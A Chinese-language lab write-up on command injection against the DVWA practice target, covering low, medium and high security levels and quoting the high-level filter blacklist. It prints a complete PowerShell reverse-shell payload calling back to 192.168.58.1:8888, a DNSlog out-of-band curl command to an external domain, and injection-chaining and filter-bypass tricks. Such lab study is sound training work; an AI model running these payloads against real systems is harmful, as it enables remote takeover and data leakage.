PHP靶场练习（一）dvwa靶场命令执行

原创于 2026-03-03 16:46:52 发布 · 401 阅读

6 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

标签

#php #开发语言 #安全

低安全级别

利用方式一：利用过滤不严格问题，拼接shell命令执行

理论拼接符号：
在这里插入图片描述
已win10环境实测：&&最好用

利用方式二：延时盲注，无回显场景使用

在这里插入图片描述

利用方式三：写入shell

结合具体系统进行转义
在这里插入图片描述
成功写入shell

利用方式四：反弹 Shell (Reverse Shell)

127.0.0.1 && powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.58.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

在这里插入图片描述
另一设备使用nc接受反弹流量

利用方式五：DNSlog带外

127.0.0.1 && curl http://95d43ab3ae.ddns.1433.eu.org

在这里插入图片描述

利用方式六：端口探测

127.0.0.1 && curl http://127.0.0.1:80

在这里插入图片描述

中安全级别

利用方式一：源码过滤&&，使用&拼接命令或代码，使用 | 拼接命令

在这里插入图片描述

利用方式二：延时注入依旧可用，修改拼接符即可

在这里插入图片描述

利用方式三：写入shell依旧可用，修改拼接符即可

在这里插入图片描述

利用方式四：反弹 Shell (Reverse Shell)，因对;进行过滤，可使用编码方式绕过

在这里插入图片描述

利用方式五：DNSlog带外依旧可用，修改拼接符即可

在这里插入图片描述

利用方式六：端口探测依旧可用，修改拼接符即可

在这里插入图片描述

高安全级别

黑名单范围进一步扩大

$substitutions = array(
		'||' => '',
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
	);